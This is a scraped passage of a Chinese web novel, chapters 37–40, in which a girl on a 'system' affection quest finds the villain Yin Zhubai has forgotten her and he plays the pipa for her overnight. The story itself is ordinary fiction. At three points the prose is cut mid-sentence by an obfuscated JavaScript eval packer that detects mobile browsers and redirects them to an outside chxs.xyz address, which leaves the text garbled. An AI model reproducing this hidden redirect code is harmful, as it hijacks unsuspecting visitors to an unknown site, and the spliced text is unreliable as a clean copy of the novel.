侍卫走上前,强行给他套上一身华美的金色衣袍,又把镇压沧浪之水用的金印塞到他的手上。 紧接着,一个小太监开始宣读册他为太子的圣旨。 这不是恩宠,而是一道加速他死亡的催命符。 殷逐白不喜欢金色。 穿上华贵的衣裳,他只是想起了崔若盈。她是否喜欢他现在的样子?殷逐白下意识地转过身,朝着周围看去。 地宫里暗影绰绰,没有那道熟悉的身影。殷逐白收回视线,心中怅然。 她会记得他吗? 一名太监用尖细的声音喊了句“吉时已到”。有人推着殷逐白,朝黑玉一般的潭水中浸去。 他没有反抗。 水很冷。与其说是水,倒不如说是凝成实质的暗夜。他在黑暗中沉沦,身体渐渐下沉,黑夜朝他包裹而来,将他往更深的地方捉去。 唯有怀中金印,散发出冷金色的光芒,刺伤了黑夜的触手。 好冷。好冷。 黑水渗入五官,疼痛随之传来,恶意满满的黑暗仿佛要将人撕成碎片。他的身体好像被撕裂了,血肉与阴寒的水渐渐融为一体…… 人走得差不多了,只有侍卫还看守在地宫外,烛火落寞地妖冶着。系统冰凉的声音在脑海中响起。 【回归倒计时:4】 崔若盈犹豫一瞬,仗着自己有虚化符,纵身跃入黑色的池中。 【回归倒计时:3】 黑暗中,她看见了殷逐白的身影。崔若盈伸手朝着殷逐白碰去,轻轻捉住了他。 【回归倒计时:2】 黑暗中,有一只手探了出来,轻轻抚摸着他的脸。她的手那么温暖,像是夏日的阳光。 殷逐白费力地掀开眼皮,努力地看向他。那一瞬间,他看到了她美丽的面影。 【回归倒计时:1】 “盈盈……” 【回归倒计时:0】 可那影子就像是风中的烛火,一闪即逝。温暖的手就此消失——紧接着,有什么东西随着水流一起流走,化为虚无。 此后留给他的,只有无边无际的凝重暗夜。 37. 她在想别人?? 熟悉的眩晕后,崔若盈睁开双眼。 春夜微风从半敞开的窗中吹进来,鬓边柔软的发丝轻轻飘动。崔若盈呼出一口气,走到窗前。 她使用时空回溯券的时候是晚上十一点多,正是深夜。而现在,天边已经多了几丝蒙蒙的白。 从凛冬到春日,跨越了几千年的岁月,花费的只有短短六个小时。 崔若盈关上窗,顾不上其他,迫不及待地打开系统,查看好感度界面。 她急切地想知道,经过这么一遭,殷逐白的好感度提升了多少。 然而查看的结果,却让她如坠冰窖。 殷逐白的好感度,还是负的,没有丝毫的变动。殷红的数字仿佛印刻在系统面板上,刺痛了她的双眼。 居然……一点也没提升? 出了什么问题? 崔若盈感觉一阵头晕目眩。她有些无力地坐在椅子上,甚至失去了思考能力。 好感度怎么没变呢?不对吧?这不对吧? 该怎么办? 即使崔若盈执行任务的经验丰富,遇到这么个情况,她仍然感觉到一阵茫然。 ——该怎么办? 她真的回不了家了吗? 崔若盈咬着嘴唇,僵硬地坐在原处,好像被石化了一般。 一直到天光拂晓,日光穿透有着繁复花纹的窗棂,在她脸上投下美丽的影子,崔若盈的眼珠才动了动,好像倏然从长久的死亡中活了过来。 这样不行。 必须看看殷逐白那边是什么情况。如果真的攻略不下来,那她只能用备选计划了。 崔若盈睫毛轻动,换了身浅粉色的衣裳,洗漱后推门走了出去。一出门,明媚的日光就晃了满眼。 她有些不适应地眯了眯眼。 太阳温暖,驱散了她身边缭绕的寒意,也将她从寒冷的凛冬里拉出来。几名侍女见她出来,对她屈膝行了一礼。 “崔姑娘,寇姑娘和祝公子今早回来了。” 寇言湘和祝星游回来了? 她一心扑在攻略任务上,都差点忘了男女主的事了。 崔若盈回过神,惊喜道:“他们回来了?那太好了,我要去见他们。” 不知殷逐白怎么想的,她和寇言湘、祝星游被安排到了不同的别院,幸好离得不太远。 崔若盈裹了裹外袍,快步走出别院。刚一出门,她就看见门口的枣树下,伫立着一道清瘦的身影。 青年站在树下,抬头望着在树上蹦蹦跳跳的小麻雀,脸上带着亲切的笑意。细弱的树枝在晨光中伸展,遮盖住他的大半个身体。 是殷逐白。 崔若盈顿住脚步。习惯了陪在少年身边,她对这个成年后温和的殷逐白,反而有些不习惯起来。 “崔姑娘。” 殷逐白注意到她的存在,侧过身看向她,对她露出一个笑容:“睡得可好?” 崔若盈道:“挺好的呀。” 她走到他身边。 “你是在等我吗?” 这个问题似乎没什么实际意义,因为答案只可能是“是”。 “寇姑娘和祝公子回来了,我知道你一定会去看他们,所以就在这里等着,想和你一起去。” “你可以让侍女进去叫我,为什么要干等着?” 殷逐白道:“我不忍心吵到你休息。” 说话的时候,青年用一种深切的目光看着她。 回到殷家,他又变成了尊贵的家主,戴回了亮闪闪的发冠,挂上了有着华丽味道的香囊,脸上的笑容,又变得有些不真切了。 崔若盈搞不懂。 她转移了话题,指着两人身后那棵枝叶繁茂的树:“这是什么树?” 殷逐白道:“这是一棵柿树。秋天的时候,它就会结很多果子,橘黄色的,很漂亮,麻雀很喜欢吃。崔姑娘喜欢吃柿子吗?” 崔若盈想着,她又不是麻雀。 但她还是老老实实回答道:“还行吧。” 西宫也有一棵柿树。崔若盈到的时候,真是秋天,柿子树上硕果累累,树枝几乎被压弯了。 崔若盈吃过。那果实又小、又酸涩,只有要过冬的小鸟才爱吃。 不。其实殷逐白也爱吃。 也许,他喜欢的,正是那种苦涩难言的滋味吧。 想到这里,崔若盈难免有些怏怏不乐。 两人从柿子树的树荫下走过,沿着铺了漂亮鹅卵石的小路,朝着寇言湘所在的客院走去。 路上,殷逐白说起寇言湘那边的任务情况。作为殷家家主,在寇言湘两人解决画妖的第一时间,情报就摆上了他的案头。 崔若盈一边听,一边慢慢走着,时而侧过头,偷偷看一看殷逐白的表情。 殷逐白嘴角带着淡然温和的微笑。曦光勾勒出轮廓分明的侧脸,一双漂亮的桃花眼熠熠生光。 光从脸上,看不出任何异常。 崔若盈想知道,殷逐白究竟还记不记得了。 正想着,殷逐白突然偏头看向她。两人视线相撞。他轻轻道:“崔姑娘,你在听吗?” 崔若盈走神被抓包,有点尴尬:“呃……” 她实在不关心男女主的任务。那个画妖剧情,她都已经背得滚瓜烂熟了啊! 殷逐白轻笑了声。 “和我走在一起,崔姑娘却在想别人,这让在下有些无地自容。” 也不知道是在埋怨,还是在调侃。也许两者皆有。 崔若盈扬起嘴角:“你怎么知道我是在想别人?也许我在想什么小猫小狗?” 殷逐白慢条斯理地说:“我就是知道。” 在崔若盈神游天外的时候,他就在观察着她。 崔若盈对他说了谎——她睡得不好。或者干脆就没睡。 殷逐白看到了她脸上的迷茫与憔悴,那毫无活力的神色镶嵌在她的脸上,也让她散发出失魂落魄的光彩。 两只漂亮的棕色眼睛闪动着。殷逐白确信,在他与她对视的瞬间,他在她眼中看到了另一个人的影子。 她在想别人? 这个猜测让殷逐白感到郁卒不快。崔若盈明明是抱着目的接近他的,怎么能分心想别人呢? 尽管心里不舒服,但殷逐白还是保持着体面优雅的姿态,连声音都铺着一层模糊明亮的柔光。 崔若盈装傻:“没,没啊。” 殷逐白叹了一声:“崔姑娘,你今早照过镜子吗?” 两人正好穿过花园,路过长满莲花的水池。殷逐白侧过身,无言地指了指池中的倒影。 崔若盈愣了一下,半蹲在池边,借着清澈的池水凝望着自己的倒影。只看了一眼,她就知道殷逐白的话是什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856578|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思了。 脸色真的好差。 即使池水不如镜子清晰,但她神色中的疲倦仍旧是肉眼可见。 崔若盈略微发怔,下一秒,一尾红色的鲤鱼游过来,她的倒影瞬间破碎。 殷逐白伸出一只手,将她拉了起来:“崔姑娘,方不方便告诉我,你在为谁忧愁?” 在说出这一句话的瞬间,他心中突然升起一阵对那人的恶意来。殷逐白没有压下那阵恶意,而是任由它留在心中,如暴风雨般发酵。 崔若盈站起身:“好吧,其实也没谁。就是之前认识的一个人。” 殷逐白下意识接道:“崔姑娘喜欢他吗?” 崔若盈疑惑地看了他一眼,否认道:“不。他年纪很小。” 原来是个小孩。 不过,年纪再小也有长大的一天。未来是世上最可怕的东西——因为谁也不知道未来会变成什么样。 也许好人变成了坏人,或者坏人变成了好人。仇恨也许能化解,深爱的人也许会被遗忘,原本不喜欢的人,会变成喜欢的人也说不定。 不知为何,殷逐白的思绪也纷乱起来。好像有一只受惊了的鸟正扑腾着翅膀,在他的心中毫无逻辑地横冲直撞,给他带来阵阵不安。 殷逐白向前走着。走了没几步,他突然听到崔若盈的声音被风吹过来。 “小白。” 殷逐白下意识地应了一声。但他很快反应过来,回头看向崔若盈:“小白?崔姑娘是在叫我吗?” 这实在是个陌生的称呼。但是陌生中,又带着一股看不清摸不着的熟悉感。 崔若盈无声地叹了口气。她看到殷逐白的表情很疑惑——这种疑惑太过自然,绝对不是装出来的。 好吧。 他真的不记得了。 崔若盈道:“是我认识的那个孩子的名字。” “小白。”殷逐白无意识地重复了一遍,随即眯着眼笑起来,“像是小猫的名字呢。他现在在哪里?” 崔若盈道:“我也不知道。” 殷逐白“嗯?”了一声。 “我和他失去联系了。他可能在世界的某个角落,也可能早已不在人世”崔若盈看了一眼殷逐白,“也可能……就在我身边,正想着怎么杀了我呢。” 那还是死了吧。 殷逐白满怀恶意,肆无忌惮地喷洒着毒汁。 除了他,谁也不能杀崔若盈。 崔若盈生无可恋地耷拉着脑袋。 完了。 现在可好,好感度没有任何提升不说,还白白搭进去一张时空回溯券。 天知道,她本来对殷逐白这家伙,是有过一丢丢丢的期待的,结果人家根本不记得她了。 讨厌的殷逐白啊!!居然还那么信誓旦旦说要记得她! 相信反派鬼话的她就是傻子! 崔若盈心里烦得要死,甚至都不想和身边的青年说话了。 崔若盈好感度:-1-1-1……-99! 幸好寇言湘和祝星游的住处离她没多远,两人走了一会儿就到了。 寇言湘两人没回来多久,还站在院子里。崔若盈看见寇言湘的身影,就快步走到她身边,只留给殷逐白一个不愉快的背影。 殷逐白蹙起眉。 她……生气了? 因为那个“小白”? 38. 他感到欣喜 寇言湘站在院子里,听到脚步声,扭头朝着两人看过来:“小盈?” “寇姐姐!”崔若盈快步走到她身边,“怎么样,任务还顺利吗?你有没有受伤?” “挺顺利的,我没受伤,倒是祝星游,被那只狡猾的画妖打了一掌。” 不是什么大事。在原著中,祝星游也被打过,但伤得不重。 “那就好。我可担心死你们了。” 崔若盈上前挽住寇言湘的手臂,亲热地说道:“快告诉我,你们遇见什么了?” 寇言湘无奈地看了她一眼,小声道:“等会儿和你说。”又看向跟在崔若盈身后,慢悠悠走过来的殷逐白,礼貌地点点头。 “殷家主,这次多谢你照顾小盈了。” 殷逐白温和道:“哪里的话?是我该谢谢崔姑娘。要不是她,我可能就回不来了。” 崔若盈不着痕迹地撇了撇嘴,灿烂笑道:“殷家主也救了我嘛。” 两人间的气氛略有些奇怪。 具体哪里奇怪也说不明白。但寇言湘总是感觉,殷逐白与崔若盈之间,多了一种说不清、道不明的隐晦默契。 明明才过了不到一个月而已。 寇言湘的目光在两人之间转了一圈,笑着道:“看来这个月,发生了很多事呢。” 崔若盈道;“是很多。” 也难怪她那么憔悴。 仔细算起来,别人过了一个月,她却整整过了四个月,还要时时刻刻关注着攻略进度,不憔悴才怪呢。 殷逐白道:“既然寇姑娘和祝公子没事,我就先回去了。” 说着,对寇言湘轻轻颔首,正欲离开。忽地,他像是想到了什么一样,转头看向崔若盈。 “崔姑娘,你要的花我一定会找来的。” 崔若盈愣了一下,才想起来还有这么个事:“……其实,也不用勉强。” 本来就是随口一说,崔若盈才不想要什么花呢。 殷逐白微微一笑,转身离去。 看着他的背影消失在院门外,寇言湘露出窃笑的表情,一把拉住崔若盈,朝着屋内走去。 “什么情况啊?” 崔若盈有些摸不着头脑:“什么什么情况?” “你和殷家主啊。” 寇言湘把她拉到自己的房间,和她坐在桌子旁,做贼一般小声说道。 “我回来的时候都听到了。” “听到什么?” “听到殷家那些除妖师,在议论你们两个啊,说你们……咳咳,所以到底是不是真的?” 崔若盈不自觉地抓紧袖子,苦笑道:“寇姐姐,那都是一些没谱的谣言,不是真的。” 如果是真的,她的任务也不至于濒临失败。 寇言湘道:“你不喜欢他吗?” 崔若盈道:“不喜欢。” 寇言湘狐疑:“真不喜欢?” 崔若盈道:“真不喜欢。” 寇言湘挑起眉毛,正要说些什么,却忽然神色一凝,手腕一转,一道灵力在掌心凝聚,如离弦之箭般朝着窗户射去。 在刚刚的瞬间,有什么东西触动了窗棂,发出很微弱的声响。 崔若盈也立刻警觉,看着寇言湘的灵力撞上半敞的窗户。几秒后,灵力飘散,她快步走到窗前,查看起发出异响的窗户。 寇言湘皱着眉,走过来:“刚才是不是有人偷听?” 那一道声响虽然微弱,但屋子里的两人都听到了。 崔若盈检查了一下窗户:“好像没什么异样。可能是风吧?” 寇言湘点点头,压下心中疑虑。崔若盈则是扶住窗框,想要把窗户关上,余光却突然扫到一旁,心头一动。 殷家财大气粗,糊窗户的不是纸,而是一层薄薄的绸。 日光透过绸子,落下一层模糊的光影,崔若盈的视线定格在发光的绸缎上——在那里,有一块不太自然的灰色污渍。 像是刚留下的。 “怎么了?”坐回原处的寇言湘见她不动了,疑惑地问道,“是发现什么不对劲了?” “没。”崔若盈自然而然地放下手,关好窗,“刚才在地上看到一只蜻蜓。可能就是它撞到了窗子吧。” “这样啊。” 寇言湘没有怀疑她的说辞。 “刚入春就有蜻蜓了,最近的天气真是反常。我听说,连雍州那边的妖族也开始躁动起来了。不只是殷家,其他除妖师势力的人手也不太够用。真不知道到底是怎么回事。” 崔若盈坐回她对面:“一切都会解决的。不要太担心。” “好吧。”寇言湘叹口气,结束了这个扫兴的话题,又接着刚才被打断的话向下说,“你不喜欢殷家主就算了。其实我觉得殷家主挺好的,不过这种事也不能勉强。” 她展露笑颜,颇有些豪迈地拍了拍崔若盈的肩膀。 “不管你喜欢什么样的我都支持!毕竟我是你姐姐嘛哈哈哈!” 崔若盈也终于露出一个笑容。她在各个小世界里穿梭,曾经接触过无数的男主女主。 可能因为性格比较正直单纯吧。在这些人中,寇言湘无疑是对她最真心的一个。 两人又闲聊了一会儿,崔若盈跟着寇言湘去看受了伤的祝星游。 看过原著的她知道,祝星游是为了保护寇言湘才受了伤。这时候男女主已经互生情愫,只是还没挑明罢了。 崔若盈不想插在这里当电灯泡,很快就找个借口离开了。 殷逐白听到了吗? 回去的路上,她一直在思考着这个问题。 虽然没抓个现行,但崔若盈确信,当时隔着窗户偷听的,就是殷逐白。 惨了。 这还怎么攻略? 现在跑到殷逐白面前滑跪,说自己只是随便说说,还来得及吗? 崔若盈有些绝望地闭上眼,等待着好感度下降的提示音。 这一等就是一整天。 直到月上柳梢,夜幕降临,院外的柿树化作枝繁叶茂的黑影,冷寂的夜晚中,才终于传来系统的提示音。 【叮】 悬在崔若盈头上的剑终于落下。不知为何,崔若盈反而有了几分解脱的感觉。然而,接下来响起的系统音,却让她明亮的眼瞳染上了几分错愕—— 【殷逐白对您的好感度提升了】 夜渐渐深了。 春雾氤氲在湖畔,朦胧地挡住了水边的景致。殷逐白坐在雾中,挺直的脊背被缭绕的雾气拥抱着,于月晕中若隐若现。 他已经在这里坐了很久了。 白天的时候,他和崔若盈曾路过湖畔。那时候阳光明媚,水波荡漾。现在天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870333|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经黑了,日光消失殆尽,取而代之的,是满池银白的月光。 白天有人陪伴,夜晚就显得形单影只。殷逐白望着闪烁银光的水面,脑海里恍惚地浮现出一个名字。 ——盈盈。 他从未这样叫过她。但这个昵称在脑海里过了一遍,又轻车熟路地化作呢喃,消失在晚风中。 她不喜欢他。 准确来说,是不喜欢他伪装出来的殷家家主。 这是个令人悲伤的事实。然而一瞬间的愕然后,殷逐白心中喷涌而出的,却是难以自抑的欣喜。 即使他的伪装温柔、体贴、聪明,接近完美,即使他的伪装地位崇高、为人敬仰,但崔若盈就是不喜欢。 她不喜欢。 殷逐白想笑。他低低地笑起来,略有些阴冷沙哑的声音在湖边环绕,古朴的熏香味道渗入春雾中,飘到更远、更远的地方。 他把伪装出来的自己当成了敌人。 而他,也确实是自己的敌人。 就好像白天与夜晚——白天的时间长了,夜晚就短了;喜欢白天的人多了,夜晚就被忽视了。 殷逐白就是寂寥的长夜。 思绪在脑海中漫无目的地打转,殷逐白凝望着平静的湖水。过了好一会儿,他拿起了手边的琵琶。 月光照在琵琶弦上,流动着银色的光华。殷逐白用指尖拨弄银弦,琵琶发出凛然的清鸣。 李侧君最擅长弹琵琶、经常用这门手艺讨女皇欢心。 有时候,他的宫室之中,琵琶声彻夜不息。 殷逐白偶尔会从后殿跑出去,偷看他弹琵琶。也许因为他天资聪颖,也许因为他继承了父亲的天赋——总之,一来二去,他学会了这种乐器。 想到过去,殷逐白的眸光就像夕阳一般沉下去。 他不喜欢回忆自己的过往。 沧浪之水是极恶之水,由仇恨、欲望、杀戮、嫉妒……种种负面情绪凝聚而成。几千年前,他被强行扔进水中,用自身血肉镇压沧浪之水。 争斗中,他阴差阳错与沧浪之水融合。极致的负面情绪将他一切幸福、快乐的记忆吞噬,只在他心中留下了蓬勃如野草的记忆。 不过,他真的拥有过幸福吗? 纤长的手指撩拨着琵琶弦,发出冷冷清清的乐音。湖边无人,只有寂寥的月光幽幽洒落,偶尔有锦鲤跳出湖水,溅起水花。 琵琶声如乱雨,穿破薄薄的夜雾,穿透幽冷的月光。 崔若盈顿住脚步,轻轻“咦?”了一声。 有人背对着她,坐在湖心亭中弹琵琶。两人离得不远,借着月光,崔若盈能看到对方雪白的后颈。 崔若盈认出那人是殷逐白。她仿佛觉得冷似的,裹了裹外套,在暗处驻足,略有些踌躇。 真奇怪。殷逐白狂扣她好感度的时候,她反而越挫越勇,总想着找机会攻略。 但现在殷逐白破天荒地加了好感度,崔若盈反而犹豫不决起来。 连她自己也不知道,自己究竟是怕与殷逐白说话,还是怕自己的出现,打碎如月夜般幽寂美丽的弦音。 但很快,她就不用犹豫了。 “崔姑娘。” 琵琶声停下,殷逐白的声音像是风吹动琴弦产生的震颤,徐徐传来。 “要不要过来,听我弹奏一曲?” 39. “你喜欢吗?” 崔若盈不由自主地走了过去。等到她回过神,才发现自己已经走到了殷逐白的对面,挡住了从亭子外倾落而下的月芒。 她定了定神,才挪开一点位置,坐在石桌的另一端,抬眼看着殷逐白。 夜晚的殷逐白,眼中带着难以化解开的阴郁。他轻轻拨弄着琵琶弦,清脆的声音自指尖流泻。 “原来你还会弹琵琶。” 崔若盈将下巴抵在桌子上,抬眼看着他。从这个角度看,殷逐白的睫毛真是纤长浓密,像是被镀上银光的片片羽毛。 她想起在雍国皇宫时听到的流言。听说,李侧君弹得一手好琵琶。 殷逐白笑了笑,缓缓开口。 也许是因为琵琶声的衬托,他的声音不像白天那样清朗,反而带上了几分低沉和含糊,像是情人间的絮语,亲密动人。 “你喜欢吗?” 崔若盈老老实实回答:“喜欢。” 她不懂音律,只觉得挺好听的。 “崔姑娘不要撒谎骗我。” 崔若盈有点心虚,但很快就硬气起来:“你又不是我,你怎么能肯定我在撒谎呢?” “好,好,是我错了。我不应该怀疑你。” 他脾气好像很好的样子。 如果不是知道他心狠手辣的真面目,崔若盈一定会喜欢他的。 殷逐白的手指漫不经心地动着。视线没有看向崔若盈,而是落在石桌前的一小块细碎月光上。 “说起来,这么晚了,崔姑娘怎么会出现在这里呢?” 崔若盈不自在地咳了一声:“感觉有点闷,睡不着,所以出来走走。” 发现殷逐白的好感度上升了一点后,她就翻来覆去,怎么也睡不着了,干脆出来透透气。 走了没一会儿,就听到隐隐约约的琵琶声。崔若盈有些好奇,就循着声音找了过来,没想到弹琵琶的居然是反派。 “你又为什么会独自坐在这里弹琵琶呢?” 殷逐白维持着体面的微笑:“我只是有些忧愁。” “忧愁?为什么呢?” 难道和殷逐白突然涨好感度有关? 崔若盈竖起耳朵,等着殷逐白的答案。 殷逐白不去看她:“崔姑娘,人有时候,自己都不明白自己的感情缘何而起,我又怎么说得明白呢?” 什么嘛。 到底还是不说。 崔若盈趴在桌上,悄悄翻了个白眼。殷逐白坐在她对面,身上冷冷的香气随风传来。 不是熏香,而是他身上自带的香气。淡淡的、幽幽的,恰似春夜的微风。 崔若盈忍不住回忆起,沧浪之水也是这种冷冷的味道。当她跃入那冷酷的水中时,凉凉的幽香扑了满脸、满身。 她在幽香中触碰到了殷逐白。然而,两人的接触却只维持了有限的一瞬。 崔若盈的指尖不自觉地动了动。指腹上,还残留着奇怪的触感。 那之后,殷逐白怎么样了? 现在,他就坐在她的对面。崔若盈很想开口问一问,最终还是没有勇气。暴露自己对他的了解,实在是个不明智的决定。 琵琶声还在继续,优雅柔美的乐音掠过水面,带起阵阵涟漪。这音乐比崔若盈想象中平静得多。 崔若盈侧过头,看着近在咫尺的水面。银色水波摇晃着,一尾鱼猛然跳出来,金红色的鳞片变成了绚丽的银红色。 停顿了一会儿,她才转回头,托着下巴,对殷逐白道:“过几天,我就要离开殷家了。” 琵琶声停顿了一刹。流畅的弦声中传来一道不和谐的鸣响,好像有一根弦因过于绷紧而不争气地断掉了。 这一声后,琵琶声恢复如旧。可在这之后,每一个音符都显得心事重重。 “为什么要离开?是我哪里做得不好吗?” “不是不是,你别误会。”崔若盈摆了摆手,“殷家当然好了,我恨不得一辈子赖在这里呢。只是我还有事情要做呢。” 殷逐白道:“你可以一辈子留在殷家。” 崔若盈:“我要是留下,你又会觉得我烦了。” “不会的。” 殷逐白看着流淌着月光的弦,眼瞳也被耀眼的银光照亮。他徐徐开口,像是在挽留。 “我想让崔姑娘留下来。” 崔若盈“啊”了一声。 她倒也不是真的想走,只是没有合理的理由留下来。 要留下吗? 崔若盈考虑了一下,还是道:“对不起殷家主,我还要和寇姐姐他们一起,不能在这里留太久。” 换作之前,她可能借坡下驴选择留下。 但现在,攻略殷逐白已经不是她的第一选择。 殷逐白垂眸:“是吗?” 淡淡的一句话,却裹杂了太多情绪。那情绪是什么,连他自己,也分不清。 “我再为崔姑娘弹一曲吧。” 半晌,他又抬起手。冷清的琵琶声就像是风吹幽竹,呜咽而阴郁,在镜面般的湖上回荡。 崔若盈支着下巴,专注地看着他。他没有束发,黑色的长发就这样披在肩头,有几绺落在石桌上。 月光斜斜地落下,黑发像是银色的瀑布奔流。崔若盈看着黑色绸缎一般的头发,想到他发丝的微妙触感。她抿了抿唇,不自然地别过头。 说实话,殷逐白忘了她,还挺让她伤心的。 崔若盈一边无声地控诉着,一边闭上眼。 月亮的光辉描摹出面容的轮廓,琵琶声中,银光渐渐变形,她的半张脸最终藏在黑暗中。 她睡着了。 她总是贪睡。尽管对其他人充满了小动物似的警惕,但对他却很信任,好像笃定他不会杀了她。 银光中,白皙的皮肤散发出冷冷的光晕。眉头微微蹙着,好像有些不开心——她不开心吗? 殷逐白不了解崔若盈。 好像一切与崔若盈扯上关系的东西,都会变成一团迷雾,连他的感情也是如此。 喜欢她吗? “喜欢”这个词刚一出现,殷逐白就不自觉地瑟缩了一下,好像被尖刀刺痛了一般。 琵琶声有些乱了。一片叶子落在平静的湖面上,水波徐徐荡开。 不。他不喜欢崔若盈。 他接近她、挽留她,为她所做的一切,都只是为了杀她而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881710|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他不喜欢崔若盈。 而崔若盈对他的喜欢,也要打上一个大大的问号。 不喜欢崔若盈。 殷逐白又默默重复了一遍,好像想让自己谨记这个事实。然后,他的视线又转移到崔若盈的身上。 对于他的纠结和焦躁,她一无所知,呼吸依旧均匀而规律。浅粉色的发带蔫哒哒地从她的脑袋上垂下来,恰到好处地落在他的手庞。 殷逐白触碰了一下。 只是个普通的发带。如果非要说有什么特殊的,那就是“它是崔若盈的发带”。 殷逐白唇角动了动。 他的手缓缓向上,想要触碰她的眉心。手影落在她的脸上,崔若盈的面容被笼罩在他的阴影中。 指尖终于碰到了光洁的额头。额上肉眼难以看见的细小绒毛像是蒲公英一样,温柔地扫着他的指尖。 真实的触感只在手上停留了一秒。下一个瞬间,他缩回指尖,神情晦暗地看着崔若盈,好像在警惕着什么。 崔若盈没有醒。 她的睡颜依旧恬静,没有意识到那轻得不能再轻的触碰。殷逐白抿了抿有些干涩的嘴唇,良久,又一次伸出了左手。 指尖悬在她的眉心上方,这一次没有落下去。右手按在石桌上,支撑着上半身的重量,清瘦白皙的身体逐渐前倾,黑发从肩头滑落。 殷逐白将黑发捋到耳后,面庞逐渐向她逼近。 崔若盈呼吸时产生的微小气浪喷到他的脖颈上,灼热的气息仿佛火焰,将夜晚燃烧殆尽。 很近了。他已经能分辨出她的发丝,能看到她发带上绣着的粉金色图案。那是朵朵盛开的海棠花。 他想知道,亲吻她的额头是什么感觉。 薄唇与额头之间的距离,不过在分寸之间。殷逐白闭了闭眼,下一刻,一阵微弱的颤鸣从身后传来,猛然敲击着他有些迷蒙的意识。 殷逐白如同从梦中惊醒般,倏然回头。 是被他随手放在一边的琵琶。 夜风吹拂,正好从琵琶上掠过,不经意间吹动琵琶的弦。明明是很微弱的声音,落在他的耳中,却像是炸雷一般惊响。 殷逐白坐回原位。 崔若盈趴在桌上,几缕发丝随风摇动。她还在睡着,丝毫不知道他想做什么。 殷逐白解下外袍,披在她身上。崔若盈大概真的很信任他,不自觉地将头埋在外袍的衣领中,只露出一双闭着的眼。 “盈盈……” 不知怎的,脑海里又浮现出这个似曾相识的昵称。 有什么东西在记忆中躁动,如同雨后春笋般,想要破土而出,熟悉的柑橘香味又缭绕在心头。 到底是什么? 他下意识地想要探究。可是,那点涟漪很快就扩散在记忆的海洋中,了然无痕,捕捉不到。 最后萦绕在他脑海中的,只剩下那一句喟叹似的呢喃。 “盈盈……” “盈盈。” 殷逐白无声地叫着这个名字,而后轻轻呼出一口气,阖了阖眼。 他没有说话,只是拿起放在一旁的琵琶,流畅的乐声再度在夜风中响起,舒缓地消散在夜晚中。 40. 因为崔姑娘很好 一觉睡醒,意识逐渐回笼。首先灌入耳中的,是悠扬流畅的琵琶声。 崔若盈豁然抬起头。日光洒落在她身上,晃得她有些睁不开眼。崔若盈不适地眯了眯眼,这才看清远处金色的湖面。 她在这里睡了多久?! 这个问题只在脑海中盘旋一瞬间,就被琵琶声驱散。 乐声整整响了一夜。殷逐白坐在她对面,像是一棵孤独正直的青松,每一根墨色的松针都挂满了晨露。 “你醒了?崔姑娘。” 崔若盈顾不上发麻的手臂,十分震惊:“你弹了一夜?” 殷逐白放下琵琶,微笑道:“乐谱是我从一位琵琶名家手中求得的,听说有安神静气的功效。听崔姑娘说你睡不着,就姑且试一试。” 他看着她。 “看来,传授我此曲的名家果然没说假话。” 疏朗的声线像是垂柳的枝条一般,拂过崔若盈的面庞。几秒钟的震惊后,崔若盈才勉强回过神:“哦哦,确实很有用。” 她都不知道自己什么时候睡着的。 崔若盈小幅度地活动了一下麻木的手腕,犹豫了一会儿,又小声问道:“……殷家主,你为什么对我这么好?” 他尚在负数的好感度真配不上他的好,以至于崔若盈一直觉得他有阴谋。 可仔细想想,她身上也没什么可图谋的。 唯一对殷逐白有点用的,就是她和寇言湘的关系亲近。但要真是为这个,与其花功夫讨好她,还不如多关心一下男女主呢。 难道殷逐白喜欢她? 不对不对。唯独这个,最不可能。 他一定在谋划着什么。 崔若盈脑子乱乱的,等待着殷逐白的回答。 殷逐白神色如常,遥遥望着天边的朝阳,脸上带着明朗的微笑。在这一瞬间,他白皙的面孔呈现出似金似玉的质地,宛若一尊美丽的神像。 “因为崔姑娘很好,所以值得。” “……好吧。” 崔若盈从来没在殷逐白嘴里,得到过想要的答案。 他是个最讨人厌的谜语人,无论说什么做什么,都自带几分难猜的神秘。也许殷逐白本人,就是满藏秘密的迷雾吧。 “小盈!!” 远处适时传来寇言湘爽朗的呼喊,这声音打破了崔若盈的沉默。崔若盈直起腰,提高声音:“寇姐姐?” 寇言湘应了一声,声音由远及近,蓝色的身影很快就出现在崔若盈的面前。 在她身后,跟着一身黑衣,面容冷峻的祝星游。 看到站在亭子里的崔若盈,寇言湘眼睛一亮。但扫到一旁站着的殷逐白时,她的脚步又迟疑了一瞬。 “小盈?殷家主?你们……一直在这里吗?” 崔若盈尬笑两声,含糊道:“碰巧碰巧。” 紧接着,又像是被抓到早恋的初中生一样,飞快转移了话题。 “寇姐姐,一大早什么事那么着急啊?” 看寇言湘这气喘吁吁的样子,好像出了什么大事一样。 